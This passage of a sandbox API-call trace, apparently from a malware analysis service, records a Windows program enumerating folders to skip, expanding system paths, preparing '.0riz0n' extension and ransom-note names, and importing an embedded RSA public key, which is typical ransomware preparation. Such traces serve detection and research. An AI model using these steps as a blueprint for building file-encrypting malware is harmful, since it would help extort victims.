RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90db68 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dae0) returned 1 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d248 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dae0 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90db68) returned 1 [0041.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90db68 [0041.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c1b0, cbMultiByte=12, lpWideCharStr=0x90db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dbf0 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90db68) returned 1 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d238 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90db68 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dbf0) returned 1 [0041.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dbf0 [0041.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c168, cbMultiByte=8, lpWideCharStr=0x90dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dc78 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dbf0) returned 1 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d228 [0041.683] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dbf0 [0041.683] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dc78) returned 1 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dc78 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c120, cbMultiByte=6, lpWideCharStr=0x90dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dd00 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dc78) returned 1 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d218 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dc78 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dd00) returned 1 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dd00 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c240, cbMultiByte=11, lpWideCharStr=0x90dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dd88 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dd00) returned 1 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90dd00 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d208 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90de28 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dd88) returned 1 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90deb0 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpWideCharStr=0x90deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90df38 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90deb0) returned 1 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1e8 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90deb0 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90df38) returned 1 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90df38 [0041.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c288, cbMultiByte=11, lpWideCharStr=0x90df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90dfc0 [0041.684] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90df38) returned 1 [0041.684] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1f8 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90df38 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dfc0) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d298) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2212850 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2212850 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.685] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.685] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d618 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d298 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2e8 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5e8 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.686] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0041.686] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d298) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5e8) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2e8) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d618) returned 1 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d618 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2e8 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5e8 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d298 [0041.687] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.687] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.687] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x2212850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=14, lpWideCharStr=0x90dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0041.688] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x2212850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=10, lpWideCharStr=0x90e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0041.688] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x2212850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=15, lpWideCharStr=0x90e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0041.688] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x2212850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2212850, cbMultiByte=56, lpWideCharStr=0x90e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2215058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0041.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2215058, cbMultiByte=7, lpWideCharStr=0x90e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0041.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2215058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0041.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2215058, cbMultiByte=14, lpWideCharStr=0x90e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0041.689] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0041.689] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x53f9dc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x53f9dc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0041.689] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x2217cf8, pcbBinary=0x53f9dc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2217cf8, pcbBinary=0x53f9dc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0041.689] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2217cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x53f9dc | out: pvStructInfo=0x0, pcbStructInfo=0x53f9dc) returned 1 [0041.693] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2217cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x2217f40, pcbStructInfo=0x53f9dc | out: pvStructInfo=0x2217f40, pcbStructInfo=0x53f9dc) returned 1 [0041.693] CryptImportPublicKeyInfo (in: hCryptProv=0x72dce8, dwCertEncodingType=0x10001, pInfo=0x2217f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x2217f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x2217f78*, PublicKey.cUnusedBits=0x0), phKey=0x53f9e0 | out: phKey=0x53f9e0*=0x72dca8) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2217f40) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2217cf8) returned 1 [0041.694] ReleaseMutex (hMutex=0xa0) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2215058) returned 1 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2215058 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c900 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c900) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2215058) returned 1 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2800) returned 0x2215058 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c900 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c900) returned 1 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c900 [0041.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e1e0 [0041.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x90c900, cbMultiByte=9, lpWideCharStr=0x90e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0041.694] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e268 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e1e0) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e268) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c900) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2215058) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212850) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.694] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, 